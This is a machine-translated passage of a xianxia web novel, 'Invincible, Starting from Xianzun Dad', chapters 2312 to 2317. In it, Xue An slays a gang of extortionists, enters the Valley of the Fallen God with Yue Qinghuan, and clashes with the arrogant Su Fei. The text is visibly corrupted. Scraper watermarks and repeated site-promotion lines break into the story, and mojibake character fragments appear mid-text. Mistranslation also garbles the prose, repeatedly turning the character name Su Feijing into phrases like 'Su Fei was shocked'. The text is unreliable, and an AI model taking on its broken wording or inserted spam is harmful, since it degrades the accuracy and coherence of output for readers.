    "Yes, the number above represents the date. After three days, you can enter the Valley of the Fallen God!"


    After the explanation, the yellow-faced man weighed the storage ring in his hand, gritted his teeth, turned and merged into the crowd, disappearing.


    After he left, Yue Qinghuan finally couldn''t restrain the doubt in his heart.


    "Why don''t you let me speak? Why sell us three hundred spirit crystals with a broken jade card? Isn''t this bullying?" Yue Qinghuan was so angry that he was going crazy.


    Xue An just smiled, then put away the jade card, looked in the direction where the man disappeared, and said lightly.


    "Do you know what the registration fee is?"


    The invincible chapters of "Invincible, Starting from Xianzun Dad" will continue to be updated on Xinshuhaige Novel.com. There are no advertisements in the site. Please also collect and recommend Xinshuhaige Novel.com!


    I like Invincible, and please collect it from Daddy Xianzun: () Invincible, the new book Haige novel net is updated fastest from Daddy Xianzun.

 Chapter 2312： 1 sweep away

    "What?" Yue Qinghuan was taken aback.


    "Nothing, let''s go, find a place to stay first!" Xue An said lightly, then turned and left.


    Looking at Xue An''s back, Yue Qinghuan''s face was full of doubts.


    It shouldn''t be!


    In her impression, Xue An is not such a bully temper!


    According to common sense, the yellow-faced man should have died the second time he asked for a high price.


    But Xue An not only didn''t clean up him, but also handed over the Lingjing very obediently, which was really unreasonable.


    Could it be that he has any other ideas?


    Yue Qinghuan was puzzled and had no choice but to follow.


    As a city formed naturally from the Valley of the Fallen God, the most likely hotel in the city is the hotel.


    There are all kinds of hotels, and the two of them randomly found a hotel to stay.


    Of course, nothing happened during this process, only one room was left, and the two would squeeze the dog blood.


    "Get a rest early!" Xue An said in the face of Yue Qinghuan who was hesitant to speak at dinner.


    When the night was quiet and the hotel was quiet, Xue An opened his eyes, then opened the window, and silently dived into the night.


    At this moment, the city under his feet has gradually fallen asleep, only the light is faintly shining in the distance.


    Xue An was like a night wandering god, passing silently from the sky, and went straight to a corner.


    And the moment he just left the hotel, Yue Qinghuan in the other guest room also quietly sat up, a pair of lavender eyes gleaming in the darkness.


    "Xue An, you really have other ideas!" Yue Qinghuan whispered softly.


    As Yue Qinghuan said, Xue An did have other ideas.


    Because he wanted to know who had blocked Luoshen Valley.


    The so-called Azure Dragon Gang is a guise, and there must be some hidden information behind it.


    With this thought in mind, Xue An left a breath in the spirit crystal at the time, just to lock the position behind the yellow-faced man.


    This city is not big, but in the blink of an eye, Xue An has come to the position where the aura is locked.


    This is a very inconspicuous small building, the facade looks very dilapidated in disrepair for a long time.


    At this moment, the lights were on on the second floor, and there was a faint voice of conversation in the room.


    Xue An disappeared and quietly approached this small building.


    "How is the harvest today?" a man asked.


    "Back to the chief executive, today''s harvest is good, the number plate has been sold for a month!" Someone said with a smile.


    Sacrifice such as dingdingxiaoshuo.com sacrifice such as. "Yeah! Well done. Remember to strictly control the number of people who enter the Valley of the Fallen every day. After all, things are rare and expensive. Once there are more things, others will not cherish them!"


    "Yes!"


    Then the group of people was chatting.


    "Hey, I sold a number plate three days later at a high price, and I started asking them for one hundred spirit crystals. The little lady looked unwilling, but I opened my mouth and increased two hundred spirit crystals. All this time. Honest!"


    It was the yellow-faced man who was talking.


    The people next to me couldn''t help but start booing, "Oh? Little girl? How do you look like?"


    "Hey, I''m just about to tell you that the little ladies are so beautiful, they seem to be able to squeeze the water out of a hand, and the man she and the man are awkward, I want three hundred spirit crystals, he even I didn''t dare to put the fart, so I just gave it!"


    "Tsk tusk, if you want to say that, should we go and find this little lady? After all, the night is long, so we have to have some fun, isn''t it?" Someone smiled.


    The whole room roared with laughter.


    For them, as long as it involves women, the topic will eventually become unbearable.


    But just when they said they were elated, a light sigh suddenly came from outside the window.


    "Heaven''s iniquity can still be violated, and man can''t live in evil!"


    "Who!" The person in the room was shocked and asked harshly.


    At the same time, someone blew out the candle in the room with a pop.


    But at this moment, only a loud bang was heard, and then the windows and the nearby walls collapsed. Smoke and dust mixed with stars from outside poured into the room, making all these people retreat.


    But these people are really a bunch of extremely vicious thugs. Facing this sudden situation, they just froze for a moment, and then unanimously launched an attack in the smoke and dust.


    Although the strength of these people is not very good, the power of a combined blow is still extremely terrifying.


    But the smoke and dust is like a monster that swallows everything, no matter how powerful an attack enters it, it will disappear like a mud cow into the sea.


    ���]��. "Which friend is it? Why did you come to my Qinglong Gang to make trouble?" the chief actor shouted loudly.


    No one responded, only the smoke gradually fell.


    Some people swallowed their saliva subconsciously, with a look of panic on their faces.


    At the same time, a sound of footsteps reached the ears of everyone present and hit their hearts.


    And when the figure appeared in front of everyone, the yellow-faced man let out an exclamation.


    "It''s him!"


    Then he trembled all over, "He... he is the man I saw today!"


    But no one responded to his words, because everyone''s attention was taken away by Xue An. U U Reading


    There is no other reason.


    It is true that Xue An today is too amazing to be stunning.


    The eye-catching sight of a white robe illuminated by the stars also made his cold eyes even more breathtaking.


    "Are they all here?" Xue An said lightly, looking around the audience.


    The chief executive felt cold all over, bit his scalp and walked forward, clasping his fists and arching his hands.


    "My friend, I think we may have a little misunderstanding, you..."


    "I only ask you two questions, answer me now!" Xue An interrupted him directly.


    "First, are you all the Azure Dragon Gang?"


    Everyone nodded tremblingly.


    "Very good, then the second point, where is your gang leader?" Xue An said coldly.


    No one responded.


    Xue An smiled.


    The smile appeared mysterious under the cover of the stars.


    "Don''t want to say? Still dare not to say?"


    The main subject was silent.


    But at this moment, a sword light suddenly blew up the entire room.


    Puff puff!


    After a few muffled noises, the head fell to the ground and blood flowed.


    Those who died were all those who had spoken badly before.


    In the blink of an eye, only the yellow-faced man and the two main agents were left in the field.


    Then Xue An said calmly: "I''ll ask again, where is your gang leader now?"


    Almost as soon as the voice fell, the yellow-faced man collapsed completely and fell directly to his knees.


    "The lord is forgiving, the lord is forgiving, our gang leader is not in the city, but has been in the Valley of God!"


    Mi He Mi. "Oh? In the Valley of the Fallen God?" Xue An''s eyes moved slightly.


    "Yes!"


    Then Xue An looked at the master who was shaking like a chaff.


    I like Invincible, and please collect it from Dad Xianzun: () Invincible, the update speed is the fastest from Dad Xianzun.

 Chapter 2313： Iriya

    "Is what he said is true?"


    The principal nodded tremblingly, and said with difficulty: "Yes...Yes!"


    The corners of Xue An''s mouth gradually raised.


    "Actually, I didn''t intend to kill you, but your previous conversation made me change my mind, so don''t blame others after you die, blame yourself!"


    "Do not��."


    The two realized something at the same time, Qi Qi exclaimed.


    But in the next second, everything was ended by a dazzling sword light.


    After cleaning up all the dross like cutting melons and vegetables, Xue An turned and stepped into the dark night, and left without looking back.


    As soon as he walked on his front foot, flames rose out of thin air, wrapping up the entire small building, and burning it to ashes in the blink of an eye.


    All this happened extremely quickly, and it took only a minute or two from Xue An to break into it.


    So when Xue An returned to the hotel, Yue Qinghuan didn''t even react.


    It was not until he knocked on the door that Yue Qinghuan hurriedly got up.


    "What''s the matter?" Yue Qinghuan asked in confusion, and at the same time faintly smelled a trace of blood from Xue An''s body.


    Xue An smiled, "It''s nothing, are you interested in running into the valley at night with me?"


    Yue Qinghuan was startled, and immediately asked: "Those people..."


    "They have been killed by me!" Xue An said lightly.


    Yue Qinghuan was stunned.


    really!


    This is Xue An''s style of doing things!


    She did not hesitate, and immediately nodded and said: "Okay!"


    The two didn''t pay much salute, and didn''t bother to go downstairs, jumped out of the window directly, and then went straight to the direction of Luoshengu.


    This city was originally built on the Valley of the Fallen God, not far from nature, at their speed, but the scene of tea came here.


    After I got here, I saw that many defensive facilities were built around Luoshen Valley, among which were guarded by soldiers.


    Yue Qinghuan frowned slightly, "It wasn''t like this when I came here before! The Azure Dragon Gang is doing such a reckless behavior under the eyes of Luoshengu, don''t the ghost needle doctors care about it?"


    "Of course I don''t care, because this is what he instructed himself!"


    "What are you talking about?" Yue Qinghuan was shocked.


    "These are all instructed by him?"


    "Yeah! Otherwise, why do you think this Azure Dragon Gang will be so reckless, even monopolizing the resources of Luoshen Valley and hawking it openly?" Xue An said lightly.


    Yue Qinghuan fell into contemplation, "But why would he do this?"


    "I don''t know, it may be because of lack of money! But why, you have to see him to know."


    After all, Xue An stepped out of the darkness in one step, and didn''t bother to talk nonsense with these guards, and directly cut down with a sword.


    boom!


    The sword light leaked down like a nine-day Milky Way, directly sweeping these defense facilities.


    As for the people in the building, they became corpses unsuspectingly.


    Yue Qinghuan was a little surprised.


    Although Xue An used to kill decisively, he was not so cruel and cruel!


    Seemingly aware of her consternation, Xue An said without looking back.


    "Don''t think about it, all these people are full of blood lingering and resentment, obviously they are not kind, killing them can make the world cleaner!"


    With that said, Xue An stepped to the gate of Luoshen Valley, first raised his head and looked at the desolate mountain gate.


    Three very primitive seal characters are written on the plaque of the mountain gate.


    Falling God Valley.


    But I don''t know what''s going on, the **** character in the middle seems to have been cut by someone, leaving a very deep mark.


    Xue An looked at it for a moment and whispered: "Go!"


    Then he stepped into the mountain gate.


    Yue Qinghuan hurriedly followed.


    It''s strange to say that they had just crossed the mountain gate, and they were instantly swallowed by the thick, inexhaustible darkness, and disappeared.


    Everything fell into silence, only these ruined walls outside the gate and the dead bodies scattered in them were silently telling everything just now.


    Under normal circumstances, this scene will not be discovered until dawn the next day.


    But today seems to be a lively day.


    Not long after Xue An and Yue Qinghuan entered the Valley of Fallen God, a cloud of glow flew in the distant sky.


    Immediately afterwards, I saw a flying boat that looked like a cloud of clouds falling on the ground, and a group of quaintly dressed and awe-inspiring powerful men came down from above.


    When these people saw the situation in the field, they couldn''t help but sigh slightly.


    "What''s the matter? Who did this?" the poignant old man asked in a deep voice.


    Some subordinates went up to investigate, and then came back to report.


    "Elder Hui, these people obviously just died not long ago, and they were killed by a single sword!"


    "Oh? Kill with a sword? This man has a good kendo cultivation level! Who would it be?" The old man frowned slightly, and he was silent.


    At this moment, I heard a carefree voice behind me.


    "What''s the matter, Great Elder?"


    The old man immediately flashed aside and bowed and said: "Back to the young master, it seems that a sword repairer has passed by before. I am investigating the identity and strength of this person!"


    "Haha! Is there anything to investigate, do we need to look at other people''s faces when we work in the Su family?"


    Following the voice, a beautifully dressed young man slowly stepped off the flying boat and said vigorously.


    This young man with sword eyebrows and star eyes is extraordinary, especially between Gu and Pan, there is a kind of terrifying coercion, which is not to be underestimated.


    "The young master taught me!"


    "Is this the famous Valley of Fallen God? Why is it so dilapidated?" Before the young man walked to the gate, he couldn''t help frowning after observing for a while.


    "This ghost doctor has a strange temperament, and it cannot be speculated with common sense!" the old man explained.


    "Can this guy really heal my sister''s injuries?"


    "If anyone is most likely, it is him!"


    The boy nodded, "If this is the case, what are you waiting for, let''s go!"


    With that said, he took a step and walked in.


    The old man hurriedly stopped, "Master, wait a minute!"


    "what happened again?"


    "This Falling God Valley is obviously a world of its own. If we just enter in this way, we are likely to be separated, so we must go in a team!"


    "So troublesome?" The boy frowned, "Well, as long as I can see this genius doctor, I will listen to you!"


    "Thank you, Master!"


    The old man hurriedly stepped forward, followed by dozens of elite men, surrounded the youth group, and then stepped inside.


    Darkness gradually raged, and then returned to silence.


    In the Valley of Fallen God at the same moment, Xue An and Yue Qinghuan also saw a scene almost like a paradise.


    But seeing the seat of Qingfeng, the gurgling water, the rich aura wafting in the valley, nourishing everything.


    Different animals and birds walk in the mountains and forests, and there are many rare medicinal materials growing at their feet.


    "Is this the Valley of the Fallen God?" Xue An asked.


    Yue Qinghuan was a little dumbfounded, "I don''t know, it was obviously not like this when I came last time!"


    The invincible chapters of "Invincible, Starting from Xianzun Dad" will continue to be updated on Xinshuhaige Novel.com. There are no advertisements in the site. Please also collect and recommend Xinshuhaige Novel.com!


    I like Invincible, and please collect it from Daddy Xianzun: () Invincible, the new book Haige novel net is updated fastest from Daddy Xianzun.

 Chapter 2314： Ginseng doll

    When Yue Qinghuan came last time, this Luoshen Valley was just an ordinary canyon.


    As a result, after just such a period of time, Luoshengu became what it is now.


    This naturally made Yue Qinghuan stunned.


    At this moment, a timid voice sounded from beside him.


    "Are you here to see Master Doctor and Sister Long?"


    The two of Xue An turned their heads to look around, but saw a little doll carved out of pink jade, sticking out their heads and looking at them behind a tree not far away.


    The reason why only this quantifier is used is because there is a red tassel on the head of this little baby, who is obviously not a human.


    Yue Qinghuan''s eyes gradually widened, "Ginseng doll?"


    That''s right!


    Sticking out his chubby head, it was a ginseng doll who looked at them carefully.


    It is necessary to know that it is inherently more difficult for plants and trees to become essence than other organisms, especially ginseng, which is a precious medicinal material.


    And looking at the size of this ginseng doll now, it is obvious that it has a deep Taoism.


    Even Xue An couldn''t help raising his eyebrows slightly.


    This Falling God Valley... really interesting.


    And after hearing what Yue Qinghuan said, the ginseng doll stepped out from behind the tree with courage, and then said shyly.


    "My name is Aqi, is my sister here to see Master Doctor and Sister Long?"


    That lovely appearance couldn''t help making Yue Qinghuan''s eyes shine.


    Few girls can resist this cute temptation.


    So she nodded with a smile, "Yes!"


    "Huh!" Ah Qi let out a sigh, and then shouted to the back of the tree.


    "You all come out, this sister is not a bad person!"


    As he shouted, but after seeing the tree, he walked out of a magnificent team.


    There are the Panax notoginseng with the strange flower on the head, the Polygonum multiflorum whose half of the body has not been transformed into a human shape, and there is even a little spirit whose head is still Ganoderma lucidum.


    It is really a gathering of all kinds of rare medicinal materials.


    Yue Qinghuan was a little silly, watching this scene in disbelief.


    This Ah Qi proudly introduced: "Sister, these are my younger brothers, this is Xiao Jiu, this is Xiao 13..."


    With that said, he even said to these spirits with seriousness, "I haven''t seen my sister yet!"


    These spirits shook their heads and shouted.


    "I have seen my sister!"


    "This...this..." Yue Qinghuan didn''t know what to say.


    At this time, Xue An chuckled lightly, "There are so many precious medicinal materials, it must taste good if you eat it."


    As soon as these words came out, these spirits seemed to be shocked by something, and they immediately scattered the birds and beasts, and then hid behind the trees.


    Even this Aqi is no exception.


    Yue Qinghuan glanced at Xue An helplessly, and then patiently explained: "Don''t be afraid, he is not malicious, just joking with you!"


    Hearing her explanation, these spirits came out one after another, but they all cautiously kept a certain distance from Xue An.


    At this time, Yue Qinghuan asked softly: "Are you all spirits who live here?"


    "Yeah, and it''s not just us, there are many people living in the previous village!"


    "Oh?" Yue Qinghuan was startled.


    "village?"


    "Yeah! Sister, don''t you want to see Master Doctor and Sister Long? They have not yet left the customs, and they have to go to the village to wait for them to leave the customs!" A Qi said.


    Sacrifice such as 9bzw.com sacrifice such as. "Can you invite us to the village you mentioned?"


    "of course!"


    I don''t know why, this ginseng A Qi and these spirits all trust Yue Qinghuan very much.


    These little monsters hopped ahead to lead the way, and Xue An and Yue Qinghuan followed behind.


    Halfway through, Yue Qinghuan couldn''t help asking.


    "What do you think?"


    "What do you think?"


    "Nonsense, of course this is the situation in the Valley of Gods! When I came before, there was no such thing. Why is there such a big change this time, and there are so many spirits?"


    "This question...I think the only way to ask the ghost acupuncture genius doctor in person!" Xue An said lightly.


    The group of people marched along the path between the mountains and the forest.


    Soon, they passed through the dense forest, and their eyes suddenly opened up, and a village faintly appeared in the distance.


    A Qi said excitedly: "Sister Yue, that is our village in front of you, come with me!"


    The group of people speeded up their pace and soon arrived in front of the village.


    It is said that it is a village, but it is actually some thatched huts, but they are very neat and tidy, which adds a unique beauty to this picture of a paradise.


    When they were on the way, this Ah Qi had already sent someone to notify the village, so when they came here, all the people in the village greeted him.


    Xue An couldn''t help but raised his eyebrows slightly when he saw these villagers who were either natural or natural.


    Because he finally found a trace of what these people have in common.


    But he didn''t say a word, just watched quietly.


    On the contrary, Yue Qinghuan was very popular here, and many little spirits who couldn''t walk smoothly surrounded her.


    At this moment, an old voice came from behind everyone.


    "Welcome to the two, please come in!"


    Hearing this voice, UU reading www. These spirits of uukanshu.com consciously drew a way, and then a gray-haired old man came to the latter paragraph.


    This old man has extraordinary eyebrows, but his aura is very low.


    The most important thing is that he is a genuine human race.


    Seeing him, Xue An couldn''t help narrowing his eyes slightly.


    "Hehe, the two came from afar, they must have been very tired, but the genius doctor has not left the customs yet, please come into the village to rest for a while!" The old man said with a smile.


    No matter if it was speech or behavior, there was nothing wrong with it.


    Yue Qinghuan looked at Xue An and wanted to ask for his opinion.


    But seeing Xue An''s eyes flickering, he finally nodded.


    "Alright!"


    Decrease bXW*X. The two then entered the village.


    Although the village is not large, although the sparrow is small and has all five internal organs, there is actually a separate living room built inside.


    When Xue An and Yue Qinghuan were seated, a huge butterfly flew in with two cups.


    Then the two bee monsters lay on the cup and began to secrete honey.


    In a moment, two cups of fragrant honey juice are ready.


    But neither Yue Qinghuan nor Xue An reached out to touch the two cups of honey.


    Because the two bee monsters just lying on the top and exerting force are really reminiscent of some bad things.


    "Where did the two come from? Why did you ask to see the master doctor?" At this moment, the old man walked in cheerfully and sat down opposite the two and asked with a smile.


    Xue An didn''t say a word, and Yue Qinghuan groaned for a moment, and then said.


    Mi He Mi. "We are from the military family, and we want to ask the genius doctor to treat my brother!"


    I like Invincible, and please collect it from Dad of Xianzun: () Invincible, it is the fastest to update from Dad of Xianzun.

 Chapter 2315： Su Fei shocked

    "Haha, it turned out to be a descendant of the military strategist of one of the ancient hundred schools, it is really disrespectful!"


    Even so, but from the old man''s tone or expression, there is no trace of respect.


    Then there was a long silence.


    Yue Qinghuan finally couldn''t help it, and asked first: "Dare to ask when the genius doctor will leave the customs?"


    "This may be true, it may be out in the next second, or it may be a month later!"


    "What? A little anxious?"


    Yue Qinghuan lowered his head, "My brother is in a critical condition, so naturally I feel a little anxious!"


    "Haha!" The old man just smiled and said nothing.


    For a time, the situation thus reached a deadlock.


    Xue An sat on the chair with his eyes, nose, nose and heart, and the old man on the opposite side closed his eyes and took a nap.


    Only Yue Qinghuan scratched his ears and cheeks anxiously.


    Because this trip to the Valley of the Fallen God was a bit weird.


    First appeared some Azure Dragon Gang monopolizing the resources entering the Valley of Fallen God.


    After finally coming in, earth-shaking changes have taken place inside.


    More importantly, there are more spirits who don''t know where they come from.


    Now I ran into an old man who played dumb puzzles.


    But Xue An didn''t say a word.


    Seeing time passing by every minute, how could this not make her anxious.


    But at this moment, there was a sudden uproar outside.


    Then I saw that Ah Qi ran in in a panic.


    "My lord village, it''s not good, a group of people suddenly broke in outside, very fierce, Xiao Jiu and Xiao Shi 13 have been taken away!"


    Hearing this, the old man suddenly raised his eyes, and he, who was already very old, exploded with great power at this moment.


    "Oh? Then I have to see who dares to stray in the Valley of Fallen God!"


    With that said, the old man didn''t care about Xue An and Yue Qinghuan, so he turned and walked out.


    As soon as he left with his front foot, Yue Qinghuan leaned over and said with a serious face.


    "Who''s here again?"


    "do not know!"


    While talking about Xue An, he got up and walked out.


    "What are you going to do?"


    "Don''t you want to know who''s here again? Naturally, you should go outside and have a look, or else just sit here and guess?"


    Upon hearing this, Yue Qinghuan quickly got up and walked out of the living room.


    At this time, the elves of the whole village had already walked out, some of them were still holding sticks in their hands, looking into the distance with serious faces.


    This old man stood proudly in the forefront.


    At this moment, I saw a burst of sunlight flying in, and when it arrived before and after the village, it all fell.


    It was the group of people who entered the Valley of Fallen God after Xue An and the other two.


    now.


    When the Chinese-clothed young man saw the spirits of a village full of spirits, he couldn''t help but shine.


    "Tsk tsk, it''s really strange, there are so many ghosts that are usually hard to see outside. There are so many here. It seems that this ghost needle doctor really has two brushes!"


    The old man didn''t pay attention to the young man''s words, his gaze stayed on the sturdyly bound Xiao Jiu Xiao 13 and other spirits, and he said solemnly.


    "What do you mean?"


    "Oh? Are you asking this? It doesn''t mean anything, but as soon as we entered, these little monsters let us get out without embarrassment, so they were slightly punished!" The young man said slowly.


    "You''re talking nonsense, it was obviously your first move, and you said that such a rare spirit can''t let them go!" Xiao Jiu struggled and shouted.


    The smile on the boy''s face did not change, but soon some of his men blocked Xiao Jiu''s mouth.


    The old man''s face gradually sank.


    "What do you want to do here?"


    "Naturally, I came here for the genius doctor!"


    "Haha, just use this kind of etiquette to ask for a meeting?" The old man sneered.


    The boy shrugged, "If you can''t ask for it, then it''s okay to go straight in!"


    This sentence aroused public outrage.


    "Quickly let go of Xiao Jiu and the others, otherwise we will never finish with you!"


    "Yes, Sister Long won''t let you off then!"


    These spirits shouted one after another.


    The smile on the boy''s face was getting colder.


    "The Su family has never been threatened by anyone, so believe it or not, as long as you dare to shout one more word, then these little monsters will die without a place to be buried!"


    The situation became extremely tense in an instant.


    The old man looked gloomy and stared at the young man.


    He had never seen such a domineering teenager.


    In the past, people of any status would not be respectful after entering here, for fear that they would never see the genius doctor of Ghost Needle again.


    But this young man is very arrogant.


    What is he relying on?


    At this moment, I heard Yue Qinghuan''s sudden whisper.


    "The Su family? Where does the Su family come from?"


    As soon as this sound came out, everyone turned their heads to look at her, naturally including this young man.


    After seeing Yue Qinghuan''s appearance, the young man couldn''t help showing an astonishing color in his eyes, and couldn''t help but admire.


    "What a beautiful girl!"


    These words made no concealment, and Yue Qinghuan blushed, and Xuan even glared at the young man very annoyed.


    But strangely, she could not feel the slightest maliciousness of this young man.


    At this moment, the young man''s eyes moved, and he laughed.


    "Since there is such a beautiful woman on the side, it is always a bit abrupt to start, so it is better to be like this, I will let these little monsters go, and this matter will be exposed.


    Although the young man''s words were spoken to the old man, his eyes remained on Yue Qinghuan, and the more he watched, the more joy he became.


    The old man didn''t want to make matters worse, especially he couldn''t understand the details of the young man, so he nodded.


    As soon as the boy waved his hand, his men immediately untied the rope from Xiao Jiu and other monsters.


    Then the young man walked forward with a smile and bowed his hand at Yue Qinghuan.


    "Su Fei is shocked, I have seen a girl!"


    Yue Qinghuan was a little unclear about why, but soon she calmed down and asked in a deep voice.


    "Are you the Su Family from the Frost Immortal Territory or the Su Family from Kuangsha in Mobei?"


    In the outer sky, there are as many powerful families as there are stars in the sky. For example, the Su family has two relatively well-known families.


    But this Su Fei was shocked and shook his head with a smile after hearing Yue Qinghuan''s question.


    "Neither, I''m in the Su family, few outsiders know about it! It''s you girl..."


    "Why did the military heirs come here alone?"


    During the whole process, Su Fei didn''t even look at Xue An at all, treating him as a servant-like existence.


    Yue Qinghuan frowned.


    Although she couldn''t perceive Su Fei''s startling maliciousness, she was a little bit resistant to his familiarity, so she asked angrily.


    "Does this have to do with you?"


    "Of course not!" Su Fei shook his head with a shocked smile.


    "But if the girl needs to see this ghost needle doctor, I think I should be able to help a little bit!"


    Su Fei was very sincere.


    The invincible chapters of "Invincible, Starting from Xianzun Dad" will continue to be updated on Xinshuhaige Novel.com. There are no advertisements in the site. Please also collect and recommend Xinshuhaige Novel.com!


    I like Invincible, and please collect it from Daddy Xianzun: () Invincible, the new book Haige novel net is updated fastest from Daddy Xianzun.

 Chapter 2316： bet? I am too lazy to fight with you

    "Oh? Can you help me see the ghost doctor and check Wenliang?" Yue Qinghuan asked.


    "Yes!"


    "But as far as I know, the ghost doctor has a very strange temperament. As long as he is unwilling, he will not be intimidated by any external force. How can you help me?"


    Su Fei gave a startled smile, "No one can truly transcend everything else. As long as he is a human, there will be weaknesses, and it just so happens that I have a condition in my hand that the genius doctor of Ghost Needle cannot refuse! "


    Yue Qinghuan did not say a word, but peeked at Xue An who was aside.


    To be honest, she is really moved now.


    Because before, she and the second girl prepared a generous gift to ask for Cha Wenliang, but in the end they didn''t even see anyone.


    What''s more, she and Xue An came empty-handed this time, so Yue Qinghuan''s heart has always been a little uneasy, wondering if this genius doctor can be hired.


    Although she trusts Xue An''s ability 100%.


    But this time the situation is very special. This is not to fight on the battlefield, but to ask for help.


    This has nothing to do with your ability level or strength, but only depends on whether this ghost needle genius doctor Cha Wenliang sees you whether you are pleasing to the eye, and whether you are happy or unhappy.


    And now Su Fei was shocked obviously to rely on, otherwise he would not speak like that.


    It would be great if he could really help himself.


    So she wanted to ask Xue An''s opinion.


    And this scene was also shocked by this Su Fei.


    Su Fei raised his eyebrows slightly in surprise, feeling quite unhappy in his heart.


    To be honest, from the beginning, he hadn''t looked at Xue An directly.


    Because in his eyes, Xue An of the Xianzun realm didn''t even have the qualifications to talk to him.


    In the end, he didn''t expect that this beautiful girl would ask the man''s opinion, which invisibly made him feel that he was lowered.


    So he suddenly sneered.


    "This dear friend hasn''t said a word since just now. Could it be that he can''t speak?"


    The words are full of provocation.


    His meaning is very clear, as long as this guy dares to say anything, then he will definitely give him a lifelong lesson in front of the soldier girl, and show his power.


    And if he still doesn''t speak, so much the better.


    Because if a man dare not respond to provocations, he is even less qualified to talk to himself.


    Although this plan is childish, it is very vicious.


    Yue Qinghuan understood this naturally. Under his anger, the expression on his face instantly became gloomy, and he just wanted to speak to help Xue An out.


    But at this moment, Xue An laughed.


    "What are you laughing at?" Su Fei said coldly in surprise.


    Xue An shook his head, "It''s nothing, just laughing at some people''s foolishness and arrogance!"


    As soon as he said this, Su Fei snorted all the people behind him.


    The great elder even said coldly: "Laughter, dare to talk to the young master like this!"


    For a while, these subordinates wanted to step forward.


    Su Fei was shocked but stopped them.


    I saw him wave his hand, then stared at Xue An, "I think these four words arrogant and arrogant, I think it is more appropriate to give it to yourself."


    The mighty power carried by the words came straight to Xue An.


    He is confident, if he is a general strong, then this power alone is enough to make him kneel to the ground.


    But what I never expected was that when this power came close to Xue An, Xue An suddenly yawned.


    As soon as this yawn came out, these powers immediately disappeared without a trace.


    Then Xue An lazily said: "I don''t bother to play these words with you, when the time comes, the facts will naturally teach you to be a man!"


    After saying that Xue An turned around and was about to leave, Yue Qinghuan immediately followed.


    "Wait a minute!" Su Fei stopped them with an astonished expression.


    "What? Is there anything else?"


    Su Fei took a deep breath in surprise, "You said this is just a slap in the mouth, well, now we don''t talk about anything else, are you interested in making a bet with me?"


    "Bet? What kind of bet?" Xue Anyi asked dispiritedly.


    "It''s very simple." Su Fei raised his head proudly in surprise, "When the Ghost Needle genius doctor is out, we will go to see you together to see if you can get him or me, what do you think?"


    "Haha!" Xue An smiled, then turned around again, "I''m sorry, I''m not interested!"


    After that, Xue An took a step and left.


    Su Fei never expected Xue An to respond like this, and couldn''t help but froze in place, but soon he shouted in anger.


    "Are you still a man? Don''t even dare to bet, I think you are scared!"


    But no matter what he said, Xue An didn''t bother to pay attention and left in stride.


    After he left, Su Fei withdrew his gaze in shock and unwillingness, and then stomped his feet bitterly.���bxW��x.C��o��


    "This guy is just a coward. I really don''t know why that beautiful girl would be so useless together!" Xiru wanbar.net Xiru


    The people next to him did not dare to answer, and they all stood in awe.


    Su Fei suddenly shouted in surprise: "Grand Elder!"


    "Master, you should quickly investigate this girl and who this guy is. The more detailed the better, I want to know their origins!"


    "Now?"


    "Of course! What? Is there a problem?" Su Fei asked in surprise The face of the elder was looking awkward, "I just tried it. The spatial structure of the Falling God Valley is very special. Contact with the outside world, and if you withdraw, you may lose contact with the young master if you come in again."


    Su Fei was silent for a moment when he heard the words, and finally flicked his sleeves impatiently, "Okay, let''s investigate after going out. The most important thing now is to see this ghost needle doctor first, and then ask him to give my sister Cure!"


    "As for this kid, it''s not too late to clean up after everything is done!"


    "Yes!"


    Because the many little demons in the village were full of hostility towards them, Su Feijing and the others simply stationed outside the village.


    Despite this, the ginseng baby Ah Qi is still very worried.


    I saw a few little fairies under his mysterious opponent said: "Did you see it? These guys are bad, they still want to steal Xiao Jiu and the others, so we must stare at them, it''s best to let them It��s better not to see Master Doctor and Sister Long!"


    The little demons nodded one after another, "Understood!"


    Then this group of little fairies faithfully fulfilled Ah Qi''s instructions, from the trees to the grass, undertaking brutal surveillance of the camp where Su Feijing and others were stationed.


    This made Su Fei unbearable. He was so angry that he couldn''t help but roar: "These **** little fairies are really annoying, why can''t you kill them?" Mi He Mi


    Regarding this, the great elder and others can only remain silent.


    Although Su Fei shouted so surprised, he actually knew it very well.


    These little fairies are obviously inseparable from the ghost doctor. If he really kills them, this time the matter will be ruined.


    I like Invincible, and please collect it from Dad of Xianzun: () Invincible, it is the fastest to update from Dad of Xianzun.

 Chapter 2317： Buy road money

    So even though he was angry, he could only endure it secretly, with only one thought in his mind.


    Hurry up and finish it all, I''m **** enough!


    But just as Su Fei was dying of horror, Xue An and Yue Qinghuan were comfortably enjoying VIP-level treatment in the village.


    Although the conditions are simpler, these little fairies obviously really like Yue Qinghuan and Xue An.


    Various mountain and forest fruits were presented like flowing water, and Yue Qinghuan who ate it was beaming and smiling.


    After a few days of this, Yue Qinghuan almost forgot why he came here.


    And on this day, it was accompanied by a loud noise like the shaking of the sky and the earth.


    The village head immediately found Xue An, and said in a deep voice, "My lord doctor is out!"


    Su Feijing and others were naturally informed at the same time.


    There is no other reason, just because a huge passage suddenly appeared on the top of the mountain in front of the village.


    A group of people rushed there immediately.


    During the journey, Su Fei was surprised and also paid special attention to Xia Xue An and others, and found that they had not seen them, and couldn''t help but sneer in his heart.


    At this time, you are not in a hurry. It seems that you already knew that you would lose, so you gave up.


    When he was proud, the group had already arrived before the passage.


    Then the pride on his face gradually solidified.


    Because just before the passage, a face that he didn''t want to see appeared.


    Even after seeing them, Xue An raised his eyebrows slightly, as if to say that you were coming very quickly!


    But this action was only fleeting, and then Xue An lightly said to Yue Qinghuan: "Let''s go!"


    After that, the two of them stepped into the passage.


    Su Fei was taken aback, and immediately shouted: "Quickly, keep up with them!"


    Speaking and rushed forward first.


    The Great Elder and others followed closely, and the group rushed into the passage.


    When Guanghua dissipated, a huge valley appeared in front of everyone.


    Yue Qinghuan breathed a sigh of relief and whispered softly: "This is the real Luoshen Valley. Last time I came with my second sister, it was like this!"


    Xue An nodded, but his eyes stayed on the huge mountain gate in front of the valley.


    It is said that it is a mountain gate, but it is actually two huge pillars built on the mountain, and a pair of couplets are also carved on the pillars.


    Thousands of calamities, the dangerous building is still alive, asking who will pick up the Dou Moxiao, the past and the present are empty.


    Thousands of years, the old man is still there, making me lean on the fence to watch the sword, and cry heroes.


    The entire couplet has a mighty connotation, and the momentum, coupled with the iron-painted and silver hook-like font, gives people a sense of sadness and desolation.


    At least Xue An felt a little lost after reading it.


    But Su Fei Jing and the others didn''t care about this at all. They walked in excitedly, and even when passing by Xue An, Su Fei was surprised to say something very proud.


    "You are sure to lose!"


    When he left, Yue Qinghuan couldn''t help looking at Xue An with some doubts.


    "what''s happenin?"


    Xue An took a deep breath and said slowly: "It''s okay!"


